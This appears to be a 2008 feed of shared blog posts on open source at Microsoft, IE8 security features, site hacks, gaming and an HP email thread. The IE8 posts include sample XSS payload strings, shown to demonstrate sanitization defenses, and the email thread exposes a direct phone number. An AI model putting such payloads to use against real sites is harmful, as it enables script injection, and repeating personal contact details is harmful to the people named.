Ferruh Mavituna - Shared Articles

Why Can't Microsoft Ship Open Source Software?

2008-07-03T07:59:59Z

In Codeplex wastes six months reinventing wheels, Ryan Davis has a bone to pick with Microsoft:

I saw an announcement [in March, 2007] that CodePlex, Microsoft's version of Sourceforge, has released a source control client.
This infuriates me. This cool thing they spent six months (six!) writing is called Subversion, and it had a 1.0.0 release [in early 2004]. Subversion had its first beta in late 2003, so the Codeplex folks are waaay behind the state of the art on this one.
As a whole, I think the state of software is abysmal. The only way to make it better is to stop writing new code. New code is always full of bugs, and its an expensive path to get from blank screen to stable program. We need to treat programming more like math, we need to build on our results. Development tools is a special market, as our needs are all very similar, and when we need a tool, we have the skills to make it.

It's a great rant -- you should read the whole thing -- but I'm not sure I entirely agree.

While I do empathize with the overall sentiment that Ryan is expressing here, I also found myself nodding along with Addy Santo, who left this comment:

Author seems to think that all software development is done in basements and dorms. The reality is that software is an industry like any other - and follows the same simple rules of economics. How many brands of sports shoes are there? How many different MP3 players? Flavors of toothpaste ? If you can walk down the soft drink isle and not be "infuriated" by Vanilla Cherry Diet Doctor Pepper then you might just be a hypocrite.

So if you think Microsoft's particular flavor of source control is redundant, you'll really hate Diet Cherry Chocolate Dr. Pepper.

(I am now required by law to link Tay Zonday's Cherry Chocolate Rain video. My apologies in advance. And if that makes no sense to you, see here.)

Are there meaningful differences between Microsoft's Team Foundation flavor of version control and Subversion? The short answer is that there aren't -- if all you're looking for is a carbonated beverage. If all you require is run of the mill, basic centralized source control duties, they're basically the same product. So why not go with the free one?

But Team Foundation is much more than just source control. Of course there are open source equivalents to much of the functionality offered in Team System, as Ryan is quick to point out.

The Codeplex staff stated they needed to write their own client in order to integrate with the TFS server infrastructure. According to an MSDN article (Get All Your Devs In A Row With Visual Studio 2005 Team System), TFS seems to be a complicated tool to help manage your developers. Reading the description, TFS is an issue tracker, unit tester, continuous integration, source control system, and Visual Studio plugin. So, basically a combination of Trac, NUnit, CruiseControl.NET, Subversion, and a Visual Studio plugin. Why not just write the Visual Studio plugin, and hook into the tools people are already using? All those tools have rich plugin-architectures that would probably support any sensible addition you'd want to make.

The answer, of course, is that Microsoft does all that painful integration work for you -- at a price.

If you have the time to look closer, you'll find more flavorful differences between Subversion and TFS source control. Differences more akin to, say, Dr. Pepper and Mr. Pibb.

I'm not going to enumerate all the subtle and not-so-subtle differences between the two here; picking a fight between two modern centralized version control systems is not my goal. They're both great. Choose whatever modern source control system you prefer, and take the time to learn it in depth. Source control is the bedrock of modern software engineering, and I've found precious few developers that truly understand how it works. All that time we were going to spend arguing whether your source control system can beat up my source control system? I've got a radical idea: let's spend it on learning the damn stuff instead.

Still, there is a much deeper, more endemic problem here that Ryan alludes to, and it deserves to be addressed.

One of Microsoft's biggest challenges in the last few years has been that its competitors are free to ship what are, by now, fairly mature open source components as parts of their operating systems. When was the last time you ever saw any open source anything shipping in a Microsoft product? On some deep, dark corporate level, Microsoft must feel compelled to rewrite everything to completely own the source code. Sometimes -- a more cynical person might say "often" -- this results in poor quality copies instead of actual innovation, such as Microsoft's much-maligned MSTest unit test framework. It's a clone of NUnit with all new bugs and no new features, but it can be included in the box with Visual Studio and integrated into the product. It's a one step forward, two steps back sort of affair.

Everybody I know -- including our own Stack Overflow team -- who has tried to use the MSTest flavor of unit tests has eventually thrown up their arms and gone back to NUnit. It's just too painful; the commercial clone lacks the simplicity, power, and community support of the original open source version. There's simply no reason for MSTest to exist except to satisfy some bizarre corporate directive that Microsoft never ship open source code in their products. Furthermore, this blind spot hampers obvious integration points. Microsoft could build first-class integration points for NUnit into Visual Studio. But they haven't, and probably never will, because so much effort is poured into maintaining the second-rate MSTest clone.

In fact, the more I think about this, the more I think Microsoft's utter inability to integrate open source software of any kind whatsoever into their products might just end up killing them. It's a huge problem, and it's only going to get worse over time. Open source seems to evolve according to a different power law than commercial software. If I worked in the upper echelons of Microsoft, I'd be looking at the graph of open source software growth from the years of 1999 to 2008 and crapping my pants right about now.

It's a shame, because the best way to "beat" open source is to join 'em -- to integrate with and ship open source components as a part of your product. Unfortunately, that's the one route that Microsoft seems hell bent on never following.

Update: For background, do read Jon Galloway's explanation: Why Microsoft Can't Ship Open Source Code.

[advertisement] Complimentary paperback book on lightweight peer code review. 10 essays from industry experts. Free shipping. Order Best Kept Secrets of Peer Code Review.

Telif hakları, Google ve bloglar yok olacak

2008-07-03T09:26:00Z

önümüzdeki yıllarda yok olacak hizmetleri gösteren tablo

Avusturya asıllı bilim adamları Richard Watson ve Ross Dawson bir araştırma yaparak 2050 yılına kadar yok olması muhtemel hizmetleri açıkladı. bunlar içinde en dikkat çekeni ise 2020 yılında telif haklarının yok olacağı. yani internette mp3 indirmek vs. yasal olacak. bir diğeri ise 2049 yılında google'ın yok olacağı. 2012'de dial-up internet erşiminin, 2022'de blogların, 2024'te masaüstü pc'lerin, 2026'da fm radyoların ve 2036'da petrolle çalışan arabaların yok olacağını ileri süren liste uzayıp gidiyor. pdf formatındaki listeye gözatmak için buraya tıklayabilirsiniz.

ilgili yazılar

bu yazı empi4 tarafından bildirgec.org adresli sitede yayımlanmak üzere yazılmıştır. kaynak gösterilmeksizin kopyalanamaz.

etiketler: telif hakkı, google, blog, mp3, richard watson, ross dawson, pdf, internet, pc, avusturya, extinction, timeline

Bilgisayar mühendisi ne iş yapar? (Bilişim güvenliği)

2008-07-03T07:30:43Z

Planlamalar yapıp, sistemin işleyiş süreçlerini tasarlar ve felaket senaryolarını test ederler. Risk yönetimini anlatan şöyle güzel bir doküman da var. Bilişim güvenliği alanında Türkçe kaynaklar: Huzeyfe Önal Blog Ferruh Mavituna Blog ...

IE8 Security Part IV: The XSS Filter

2008-07-02T16:03:00Z

Hi, I'm David Ross, Security Software Engineer on the SWI team. I’m proud to be doing this guest post on the IE blog today to show off some of the collaborative work SWI is doing with the Internet Explorer team.

Today we are releasing some details on a new IE8 feature that makes reflected / “Type-1” Cross-Site Scripting (XSS) vulnerabilities much more difficult to exploit from within Internet Explorer 8. Type-1 XSS flaws represent a growing portion of overall reported vulnerabilities and are increasingly being exploited “for fun and profit.”

The number of reported XSS flaws in popular web sites has skyrocketed recently – MITRE has reported that XSS vulnerabilities are now the most frequently reported class of vulnerability. More recently, sites such as XSSed.com have begun to collect and publish tens of thousands of Type-1 XSS vulnerabilities present in sites across the web.

XSS vulnerabilities enable an attacker to control the relationship between a user and a web site or web application that they trust. Cross-site scripting can enable attacks such as:

Cookie theft, including the theft of sessions cookies that can lead to account hijacking
Monitoring keystrokes input to the victim web site / application
Performing actions on the victim web site on behalf of the victim user. For example, an XSS attack on Windows Live Mail might enable an attacker to read and forward e-mail messages, set new calendar appointments, etc.

While many great tools exist for developers to mitigate XSS in their sites / applications, these tools do not satisfy the need for average users to protect themselves from XSS attacks as they browse the web.

XSS Filter -- How it Works

The XSS Filter operates as an IE8 component with visibility into all requests / responses flowing through the browser. When the filter discovers likely XSS in a cross-site request, it identifies and neuters the attack if it is replayed in the server’s response. Users are not presented with questions they are unable to answer – IE simply blocks the malicious script from executing.

With the new XSS Filter, IE8 Beta 2 users encountering a Type-1 XSS attack will see a notification like the following:

The page has been modified and the XSS attack is blocked.

In this case the XSS Filter has identified a cross-site scripting attack in the URL. It has neutered this attack as the identified script was replayed back into the response page. In this way the filter is effective without modifying an initial request to the server or blocking an entire response.

As you may imagine, there are a number of interesting and subtle scenarios that the filter must handle appropriately. Here are some examples:

The filter must be effective even if the attack is adjusted to leverage artifacts of common web application frameworks. Ex: Will an attack still be detected if certain characters in a request are dropped or translated when replayed in the response?
In performing filtering our code must not introduce new attack scenarios that would not otherwise exist. Ex: Imagine the filter can be forced to neuter a closing SCRIPT tag. In that case, untrusted content on the page might then execute as script.

And of course in addition to all of this we need to effectively counter all the XSS attack vectors not already addressed by other XSS-Focused Attack Surface Reduction measures.

Compatibility is critical. This feature was developed with the understanding that if it were to “break the web,” we could not enable the feature by default. Or if we did, people would turn it off and get no benefit. We really want to provide as much value as possible to the maximum number of users.

If Internet Explorer’s Application Compatibility Logging is enabled, all XSS Filter activity can be viewed using the Microsoft Application Compatibility Toolkit.

Web developers may wish to disable the filter for their content. They can do so by setting a HTTP header:
X-XSS-Protection: 0

Ultimately we have taken a very pragmatic approach – we choose to not to build the filter in such a way that we compromise site compatibility. Thus, the XSS Filter defends against the most common XSS attacks but it is not, and will never be, an XSS panacea. This is similar to the pragmatic approach taken by ASP.Net request validation, although the XSS Filter is able to be more aggressive than the ASP.Net feature.

Assuming negligible site compatibility and performance impact, the fact that our filter effectively blocks the common “><script>… pattern we see most frequently in Type-1 XSS attacks is inherently a step forward. Pushing that further and blocking other common cases of reflected XSS where possible, as the XSS Filter does, is extra goodness.

Caveats aside, it will be great to see the tens of thousands of publicly disclosed Type-1 XSS vulnerabilities indexed on sites like XSSed.com simply stop working in IE8. (Not to mention the IFRAME SEO Poisoning attacks we protect against as well!)

I will go into more details on how the filter works, its history, its limitations, and some lessons learned during the development process over on my blog in the coming weeks.

David Ross
Security Software Engineer

IE8 Security Part V: Comprehensive Protection

2008-07-02T16:05:00Z

Hi! I’m Eric Lawrence, Security Program Manager for Internet Explorer. Last Tuesday, Dean wrote about our principles for delivering a trustworthy browser; today, I’m excited to share with you details on the significant investments we’ve made in Security for Internet Explorer 8. As you might guess from the length of this post, we’ve done a lot of security work for this release. As an end-user, simply upgrade to IE8 to benefit from these security improvements. As a domain administrator, you can use Group Policy and the IEAK to set secure defaults for your network. As web-developer, you can build upon some of these new features to help protect your users and web applications.

As we were planning Internet Explorer 8, our security teams looked closely at the common attacks in the wild and the trends that suggest where attackers will be focusing their attention next. While we were building new Security features, we also worked hard to ensure that powerful new features (like Activities and Web Slices) minimize attack surface and don’t provide attackers with new targets. Out of our planning work, we classified threats into three major categories: Web Application Vulnerabilities, Browser & Add-on Vulnerabilities, and Social Engineering Threats. For each class of threat, we developed a set of layered mitigations to provide defense-in-depth protection against exploits.

Web Application Defense

Cross-Site-Scripting Defenses

Over the past few years, cross-site scripting (XSS) attacks have surpassed buffer overflows to become the most common class of software vulnerability. XSS attacks exploit vulnerabilities in web applications in order to steal cookies or other data, deface pages, steal credentials, or launch more exotic attacks.

IE8 helps to mitigate the threat of XSS attacks by blocking the most common form of XSS attack (called “reflection” attacks). The IE8 XSS Filter is a heuristic-based mitigation that sanitizes injected scripts, preventing execution. Learn more about this defense in David’s blog post: IE8 Security Part IV - The XSS Filter.

XSS Filter provides good protection against exploits, but because this feature is only available in IE8, it’s important that web developers provide additional defense-in-depth and work to eliminate XSS vulnerabilities in their sites. Preventing XSS on the server-side is much easier that catching it at the browser; simply never trust user input! Most web platform technologies offer one or more sanitization technologies-- developers using ASP.NET should consider using the Microsoft Anti-Cross Site Scripting Library. To further mitigate the threat of XSS cookie theft, sensitive cookies (especially those used for authentication) should be protected with the HttpOnly attribute.

Safer Mashups

While the XSS Filter helps mitigate reflected scripting attacks when navigating between two servers, in the Web 2.0 world, web applications are increasingly built using clientside mashup techniques. Many mashups are built unsafely, relying SCRIPT SRC techniques that simply merge scripting from a third-party directly into the mashup page, providing the third-party full access to the DOM and non-HttpOnly cookies.

To help developers build more secure mashups, for Internet Explorer 8, we’ve introduced support for the HTML5 cross-document messaging feature that enables IFRAMEs to communicate more securely while maintaining DOM isolation. We’ve also introduced the XDomainRequest object to permit secure network retrieval of “public” data across domains.

While Cross-Document-Messaging and XDomainRequest both help to secure mashups, a critical threat remains. Using either object, the string data retrieved from the third-party frame or server could contain script; if the caller blindly injects the string into its own DOM, a script injection attack will occur. For that reason, we’re happy to announce two new technologies that can be used in concert with these cross-domain communication mechanisms to mitigate script-injection attacks.

Safer Mashups: HTML Sanitization

IE8 exposes a new method on the window object named toStaticHTML. When a string of HTML is passed to this function, any potentially executable script constructs are removed before the string is returned. Internally, this function is based on the same technologies as the server-side Microsoft Anti-Cross Site Scripting Library mentioned previously.

So, for example, you can use toStaticHTML to help ensure that HTML received from a postMessage call cannot execute script, but can take advantage of basic formatting:

document.attachEvent('onmessage',function(e) {
if (e.domain == 'weather.example.com') {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}

Calling:

window.toStaticHTML("This is some <b>HTML</b> with embedded script following... <script>alert('bang!');</script>!");

will return:

This is some <b>HTML</b> with embedded script following... !

Safer Mashups: JSON Sanitization

JavaScript Object Notation (JSON) is a lightweight string-serialization of a JavaScript object that is often used to pass data between components of a mashup. Unfortunately, many mashups use JSON insecurely, relying on the JavaScript eval method to “revive” JSON strings back into JavaScript objects, potentially executing script functions in the process. Security-conscious developers instead use a JSON-parser to ensure that the JSON object does not contain executable script, but there’s a performance penalty for this.

Internet Explorer 8 implements the ECMAScript 3.1 proposal for native JSON-handling functions (which uses Douglas Crockford’s json2.js API). The JSON.stringify method accepts a script object and returns a JSON string, while the JSON.parse method accepts a string and safely revives it into a JavaScript object. The new native JSON methods are based on the same code used by the script engine itself, and thus have significantly improved performance over non-native implementations. If the resulting object contains strings bound for injection into the DOM, the previously described toStaticHTML function can be used to prevent script injection.

The following example uses both JSON and HTML sanitization to prevent script injection:

<html>
<head><title>XDR+JSON Test Page</title>
<script>
if (window.XDomainRequest){
      var xdr1 = new XDomainRequest();
      xdr1.onload = function(){
           var objWeather = JSON.parse(xdr1.responseText);
           var oSpan = window.document.getElementById("spnWeather");
           oSpan.innerHTML = window.toStaticHTML("Tonight it will be <b>"
                             + objWeather.Weather.Forecast.Tonight + "</b> in <u>"
                             + objWeather.Weather.City+ "</u>.");
      };
      xdr1.open("POST", "http://evil.weather.example.com/getweather.aspx");
      xdr1.send("98052");
}
</script></head>
<body><span id="spnWeather"></span></body>
</html>

…even if the weather service returns a malicious response:

HTTP/1.1 200 OK
Content-Type: application/json
XDomainRequestAllowed: 1

{"Weather": {
"City": "Seattle",
"Zip": 98052,
"Forecast": {
    "Today": "Sunny",
    "Tonight": "<script defer>alert('bang!')</script>Dark",
    "Tomorrow": "Sunny"
}
}}

MIME-Handling Changes

Each type of file delivered from a web server has an associated MIME type (also called a “content-type”) that describes the nature of the content (e.g. image, text, application, etc). For compatibility reasons, Internet Explorer has a MIME-sniffing feature that will attempt to determine the content-type for each downloaded resource. In some cases, Internet Explorer reports a MIME type different than the type specified by the web server. For instance, if Internet Explorer finds HTML content in a file delivered with the HTTP response header Content-Type: text/plain, IE determines that the content should be rendered as HTML. Because of the number of legacy servers on the web (e.g. those that serve all files as text/plain) MIME-sniffing is an important compatibility feature.

Unfortunately, MIME-sniffing also can lead to security problems for servers hosting untrusted content. Consider, for instance, the case of a picture-sharing web service which hosts pictures uploaded by anonymous users. An attacker could upload a specially crafted JPEG file that contained script content, and then send a link to the file to unsuspecting victims. When the victims visited the server, the malicious file would be downloaded, the script would be detected, and it would run in the context of the picture-sharing site. This script could then steal the victim’s cookies, generate a phony page, etc.

To combat this problem, we’ve made a number of changes to Internet Explorer 8’s MIME-type determination code.

MIME-Handling: Restrict Upsniff

First, IE8 prevents “upsniff” of files served with image/* content types into HTML/Script. Even if a file contains script, if the server declares that it is an image, IE will not run the embedded script. This change mitigates the picture-sharing attack vector-- with no code changes on the part of the server. We were able to make this change by default with minimal compatibility impact because servers rarely knowingly send HTML or script with an image/* content type.

MIME-Handling: Sniffing Opt-Out

Next, we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type.

For example, consider the following HTTP-response:

HTTP/1.1 200 OK
Content-Length: 108
Date: Thu, 26 Jun 2008 22:06:28 GMT
Content-Type: text/plain; authoritative=true;

<html>
<body bgcolor="#AA0000">
This page renders as HTML source code (text) in IE8.
</body>
</html>

In IE7, the text is interpreted as HTML:

In IE8, the page is rendered in plaintext:

Sites hosting untrusted content can use the authoritative attribute to ensure that text/plain files are not sniffed to anything else.

MIME-Handling: Force Save

Lastly, for web applications that need to serve untrusted HTML files, we have introduced a mechanism to help prevent the untrusted content from compromising your site’s security. When the new X-Download-Options header is present with the value noopen, the user is prevented from opening a file download directly; instead, they must first save the file locally. When the locally saved file is later opened, it no longer executes in the security context of your site, helping to prevent script injection.

HTTP/1.1 200 OK
Content-Length: 238
Content-Type: text/html
X-Download-Options: noopen
Content-Disposition: attachment; filename=untrustedfile.html

Taken together, these new Web Application Defenses enable the construction of much more secure web applications.

Local Browser Defenses

While Web Application attacks are becoming more common, attackers are always interested in compromising ordinary users’ local computers. In order to allow the browser to effectively enforce security policy to protect web applications, personal information, and local resources, attacks against the browser must be prevented. Internet Explorer 7 made major investments in this space, including Protected Mode, ActiveX Opt-in, and Zone Lockdowns. In response to the hardening of the browser itself, attackers are increasingly focusing on compromising vulnerable browser add-ons.

For Internet Explorer 8, we’ve made a number of investments to improve add-on security, reduce attack surface, and improve developer and user experience.

Add-on Security

We kicked off this security blog series with discussion of DEP/NX Memory Protection, enabled by default for IE8 when running on Windows Server 2008, Windows Vista SP1 and Windows XP SP3. DEP/NX helps to foil attacks by preventing code from running in memory that is marked non-executable. DEP/NX, combined with other technologies like Address Space Layout Randomization (ASLR), make it harder for attackers to exploit certain types of memory-related vulnerabilities like buffer overruns. Best of all, the protection applies to both Internet Explorer and the add-ons it loads. You can read more about this defense in the original blog post: IE8 Security Part I: DEP/NX Memory Protection.

In a follow-up post, Matt Crowley described the ActiveX improvements in IE8 and summarized the existing ActiveX-related security features carried over from earlier browser versions. The key improvement we made for IE8 is “Per-Site ActiveX,” a defense mechanism to help prevent malicious repurposing of controls. IE8 also supports non-Administrator installation of ActiveX controls, enabling domain administrators to configure most users without administrative permissions. You can get the full details about these improvements by reading: IE8 Security Part II: ActiveX Improvements. If you develop ActiveX controls, you can help protect users by following the Best Practices for ActiveX controls .

Protected Mode

Introduced in IE7 on Windows Vista, Protected Mode helps reduce the severity of threats to both Internet Explorer and extensions running in Internet Explorer by helping to prevent silent installation of malicious code even in the face of software vulnerabilities. For Internet Explorer 8, we’ve made a number of API improvements to Protected Mode to make it easier for add-on developers to control and interact with Protected Mode browser instances. You can read about these improvements in the Improved Protected Mode API Whitepaper.

For improved performance and application compatibility, by default IE8 disables Protected Mode in the Intranet Zone. Protected Mode was originally enabled in the Intranet Zone for user-experience reasons: when entering or leaving Protected Mode, Internet Explorer 7 was forced to create a new process and hence a new window.

Internet Explorer 8’s Loosely Coupled architecture enables us to host both Protected Mode and non-Protected Mode tabs within the same browser window, eliminating this user-experience annoyance. Of course, IE8 users and domain administrators have the option to enable Protected Mode for Intranet Zone if desired.

Application Protocol Prompt

Application Protocol handlers enable third-party applications (such as streaming media players and internet telephony applications) to directly launch from within the browser or other programs in Windows. Unfortunately, while this functionality is quite powerful, it presents a significant amount of attack surface, because some applications registered as protocol handlers may contain vulnerabilities that could be triggered from untrusted content from the Internet.

To help ensure that the user remains in control of their browsing experience, Internet Explorer 8 will now prompt before launching application protocols.

To provide defense-in-depth, Application Protocol developers should ensure that they follow the Best Practices described on MSDN.

File Upload Control

Historically, the HTML File Upload Control (<input type=file>) has been the source of a significant number of information disclosure vulnerabilities. To resolve these issues, two changes were made to the behavior of the control.

To block attacks that rely on “stealing” keystrokes to surreptitiously trick the user into typing a local file path into the control, the File Path edit box is now read-only. The user must explicitly select a file for upload using the File Browse dialog.

Additionally, the “Include local directory path when uploading files” URLAction has been set to "Disable" for the Internet Zone. This change prevents leakage of potentially sensitive local file-system information to the Internet. For instance, rather than submitting the full path C:\users\ericlaw\documents\secret\image.png, Internet Explorer 8 will now submit only the filename image.png.

Social Engineering Defenses

As browser defenses have been improved over the last few years, web criminals are increasingly relying on social engineering attacks to victimize users. Rather than attacking the ever-stronger castle walls, attackers increasingly visit the front gate and simply request that the user trust them.

For Internet Explorer 8, we’ve invested in features that help the user make safe trust decisions based on clearly-presented information gathered from the site and trustworthy authorities.

Address Bar Improvements

Domain Highlighting is a new feature introduced in IE8 Beta 1 to help users more easily interpret web addresses (URLs). Because the domain name is the most security-relevant identifier in a URL, it is shown in black text, while site-controlled URL text like the query string and path are shown in grey text.

When coupled with other technologies like Extended Validation SSL certificates, Internet Explorer 8’s improved address bar helps users more easily ensure that they provide personal information only to sites they trust.

SmartScreen® Filter

Internet Explorer 7 introduced the Phishing Filter, a dynamic security feature designed to warn users when they attempt to visit known-phishing sites. For Internet Explorer 8, we’ve built upon the success of the Phishing Filter feature (which blocks millions of phishing attacks per week) and developed the SmartScreen® Filter. The SmartScreen Filter goes beyond anti-phishing to help block sites that are known to distribute malware, malicious software which attempts to attack your computer or steal your personal information. SmartScreen works in concert with other technologies like Windows Defender and Windows Live OneCare to provide comprehensive protection against malicious software.

You can read more about the new SmartScreen Filter in my earlier post: IE8 Security Part III - The SmartScreen Filter.

Summary

Security is a core characteristic of trustworthy browsing, and Internet Explorer 8 includes major improvements to address the evolving web security landscape. While the bad guys are unlikely to ever just “throw in the towel,” the IE team is working tirelessly to help protect users and provide new ways to enhance web application security.

Please stay tuned to the IEBlog for more information on the work we’re doing in Privacy, Reliability, and Business Practices to build a trustworthy browser.

Onward to Beta-2 in August!

Eric Lawrence
Program Manager
Internet Explorer Security

Official PlayStation site hacked, says IT company Sophos

2008-07-02T20:00:00Z

Filed under: News

The official US websites for SingStar Pop and God of War have been hacked, according to IT company Sophos. When visitors clicked onto the PlayStation site, they may have been greeted by a pop-up ad that claims viruses have been found on their computer. The scare tactic tries to trick people into buying anti-spyware software, and requires a visitor's credit card number.

According to Sophos, the hack was implemented through a "SQL injection attack" and according to the company, "the website is still infected." However, personal visits to the PlayStation sites on our browser (Firefox 3) have not turned up anything suspicious.

[Via Next-Gen]

Read | Permalink | Email this | Linking Blogs | Comments

The Image Fulgurator.

2008-07-01T12:37:06Z

Julius von Bismarck invented a very interesting hacking technique to manipulate images taken by people. His Image Fulgurator can project text or other images on an object that is being photographed, but only becomes visible on the photograph itself. People's great trust in their photographic reproductions of reality was what motivated Julius to develop the Image Fulgurator.

A camera can be used as a personal memory tool, since people do not doubt the veracity of their own photographs. Hence, photos can reproduce the reality of an individual environment or public space. At sacred or popular locations, or those having a political connotation, an intervention with the Fulgurator can be particularly effective. Especially objects with a special aura or great symbolic power are good targets for this kind of manipulation. In other words, with the Fulgurator it is possible to have a lasting effect on those kinds of individual moments and events that become accessible to the masses only because they are preserved photographically. In this context the Fulgurator represents a manipulation of visual reality and so targets the very fabric of media memory.

Technically, the Image Fulgurator works like a classical camera, though in reverse. In a normal camera, the light reflected from an object is projected via the lens onto the film. In the Image Fulgurator, this process is exactly the opposite: instead of an unexposed film, an exposed and developed roll of slide film is loaded into the camera and behind it, a flash. When the flash goes off, the image is projected from the film via the lens onto the object. Due to the similarity of the two processes, the Fulgurator looks like a conventional reflex camera. As soon as the built-in sensor registers a flash somewhere nearby, the flash projection is triggered. Hence the projection can be synchronized to the exact moment of exposure of all other cameras in its immediate vicinity. Via a screen (ground glass), it is possible to focus the projection and to position it on the targeted object.

This video shows an Intervention at the Checkpoint Charlie in Berlin. (former border of east and west Germany) The target of the manipulation was the famous "YOU ARE ENTERING THE AMERICAN SECTOR" - sign. The manipulation created a link from the former East / West border to the US / Mexican border in order to reimagine the dramatic situation at worldwide borders today. The message was addressed to the tourists on location, that can travel easily over every border without risking their life.

Technical details: http://www.juliusvonbismarck.com/fulgurator/doku.html

My Last Words to Bill

2008-06-30T17:57:10Z

We had a little internal yearbook thing you could sign for Bill last week. This is what I wrote:

Dear Bill,

In not too many weeks now I’ll be celebrating my 20th anniversary at Microsoft. I think I owe you some thanks for these 20 years, and some from before.

In fall of 1979 I got my first real access to a computer. It was a Commodore PET and it was running Microsoft BASIC. For me, and many others like me, that exposure caused a radical change in our life trajectories.

By Christmas I was learning 6502 assembler and those MOS tech handbooks were not exactly rich in examples. If you wanted to see *real* code you had to disassemble/understand the ROMs. So I guess what I’m saying is that, at the tender age of 15, I was ripping off your intellectual property. Sorry about that.

I did manage to get pretty good at 6502 assembler and I like to think some of that code was yours, so I tell my friends I got my first low level programming lessons from Bill Gates. Of course you didn’t know it, but it was nonetheless successful long-distance education through the magic of software.

Eight years, one diploma, and one degree later, I landed in Redmond. That was 1988. Since then, I’ve had many chances to meet, learn from, and work with some great people inside and outside of Microsoft – even Melinda for a time – and in turn affect the lives of others.

Thank you for the education, the opportunities, and the inspiration.

-Rico

Diablo III Vs. Fallout 3

2008-06-30T12:02:29Z

By now everyone heard about the announcement of Diablo III, with good old Leon Boyarsky of Fallout fame as Lead World Designer. Comparisons between Diablo III and Fallout 3 were bound to happen, with NMA pointing to Solivagant’s blog at Destructoid with a passionate and controversial piece called How to make a proper Sequel: And now [...]

Blizzard brings low-cost Security to World of Warcraft

2008-06-27T16:30:53Z

Blizzard has added an inexpensive authentication device (2 factor authentication, for security aficionados) that should help protect against the problem of account theft (or, more specifically, Blizzard's customer support issue with account theft).

Impressively, the widget only costs $6.50 - which is quite low for these devices.

Given the customer service costs associated with the account theft and similar complaints, it would have been a COOL IDEA to include the authenticator with the next game expansion as well as allowing direct purchase.

It would also be wise to allow it to be used for Battle.Net and other Blizzard/Activision online services... we shall see.

How it works:

The authenticator uses an internal clock (I'm sure we'll hear about battery problems in a year or two) and a internal, secret key to generate a 6-digit unique password that typically changes every 5 minutes, can only be used once and is associated with a single account.

Password(T) = Encrypt(Unique Secret Key, Time)

When a user gets one of these devices, they register its serial number with their game account. The serial number maps to a unique secret key... and off we go.

The challenge with these systems, and the thing that kept their cost high were batteries and especially clocks... that are good enough and cheap enough. Clocks are a problem because they drift over time and the server needs to be able to accommodate this. Historically, developers like RSA with their SecureID product have focused on "good security"... I would think that one could actually do quite a number on fraud with designing a system like this to be REAL CHEAP (fun security engineering homework assignment - find very low cost displays, microcontroller or ASIC with clock and sufficent compute power but low power requirements, battery, and a fabrication process that allows you to associate a serial number and key with an individual device... so some EPROM).

In the US, and probably even elsewhere, another useful security tool would be a unique serial number associated with each copy of the software that is also associated with the user. Then, if a user is all of a sudden on a radically different computer... and starts emptying the account... a flag could go off and block the transaction or require additional authentication. This would be easy to implement and certainly inexpensive.

In Asia, at least one game company has gone to a cell phone based authentication system. This could be done either with an interactive session/SMS message or a downloaded application.

(via Kotaku)

NOTED WITH GRAVE CONCERN: US college enrollment in IT down 50 percent

2008-06-25T08:54:00Z

The number of students enrolling in computer science is down 50 percent in the US from just 5 years ago, according to David Pitt of the Associated Press. This is going to have devastating consequences for the IT industry and the health of the US economy as a whole.

The tech industry needs to get this on the nation's agenda... where are Obama and McCain on growing and protecting critical US tech skills?

(via videogaming247)

Neler oluyor bize…

2008-06-27T20:41:12Z

“Ellerime betonun soğukluğu vuruyor, biraz da toz. Yüzümün sol yanı öyle bir yapışmış ki yere, hiç koparamayacağımı sanıyorum. Nihayet gözlerimi açtım, yerdeymişim. İki seksen uzanmışım yere. Nerdeyim, nasıl geldim buraya bilmiyorum. Yavaşça ayağa kalkıp üstümü temizledim. İyi de neden yerler kirli, burası neresi? Ortalıkta bir ışık kaynağı yok ama yine de etrafı aydınlatan bir loş [...]

Guy on blog: Diablo 3 vs Fallout 3

2008-06-29T00:47:05Z

Diablo 3 - Debut Gameplay Trailer

2008-06-28T20:00:09Z

Shared by fmavituna
Yay, and not 3D like Fallout 3 !

This place is thick with the stench of ghouls.

Whoops!: Or we are paid to be researchers not QA professionals

2008-06-27T15:12:00Z

Shared by fmavituna
quite funny although, I like the fact that they are scanning random Chinese websites without permission to test the tool. I suppose if it's a dodgy Chinese website it's legal to scan(!)

Start at bottom for maximum effect...

_____________________________________________
From: Hoffman, Billy
Sent: Thursday, June 26, 2008 5:27 PM
To: Wood, Matt (); Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
This is too great. I'm posting this to Memestreams.
Billy Hoffman
--
Manager, HP Web Security Research Group
HP Software – Application Security Center
Direct: 770-343-7069
_____________________________________________
From: Wood, Matt ()
Sent: Thursday, June 26, 2008 5:27 PM
To: Wood, Matt (); Hoffman, Billy; Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
Stivo! you crazy! Change-set 27173. 6/21 @ 6:37pm in SimpleUrlCrawler.cs 
I guess the build-box is building with the debug symbols in it?
So the crawl limit is 2.1 billion right now  2^31-1
_____________________________________________
From: Wood, Matt ()
Sent: Thursday, June 26, 2008 5:19 PM
To: Hoffman, Billy; Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
Whoops! Here:
private void buildCrawlLimit()
{
crawlLimit = 1500;
#if DEBUG
crawlLimit = int.MaxValue;
#endif
}
Pretty sure the Labs build box is pumping out debug builds...
_____________________________________________
From: Hoffman, Billy
Sent: Thursday, June 26, 2008 5:19 PM
To: Wood, Matt (); Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
... ... STFU! Are you telling me the limit most people are bitching about doesn’t even exist? Haha, Should we even patch that?
Billy Hoffman
--
Manager, HP Web Security Research Group
HP Software – Application Security Center
Direct: 770-343-7069
_____________________________________________
From: Wood, Matt ()
Sent: Thursday, June 26, 2008 5:15 PM
To: Hoffman, Billy; Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
Haha… scrawlr may not have a limit…
I just set a break point in the function that checks it and it never gets called… apparently it got lost somehow…
_____________________________________________
From: Hoffman, Billy
Sent: Thursday, June 26, 2008 5:10 PM
To: Wood, Matt (); Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
Then explain this:
[Screen shot removed]
Billy Hoffman
--
Manager, HP Web Security Research Group
HP Software – Application Security Center
Direct: 770-343-7069
-----Original Message-----
From: Wood, Matt ()
Sent: Thursday, June 26, 2008 5:07 PM
To: Hoffman, Billy; Millar, Steve A
Subject: RE: uhhhh does Scrawlr really have a limit?
Nah, just a lot of parameters. We will only crawl 1500 pages, but we will audit more.
-----Original Message-----
From: Hoffman, Billy
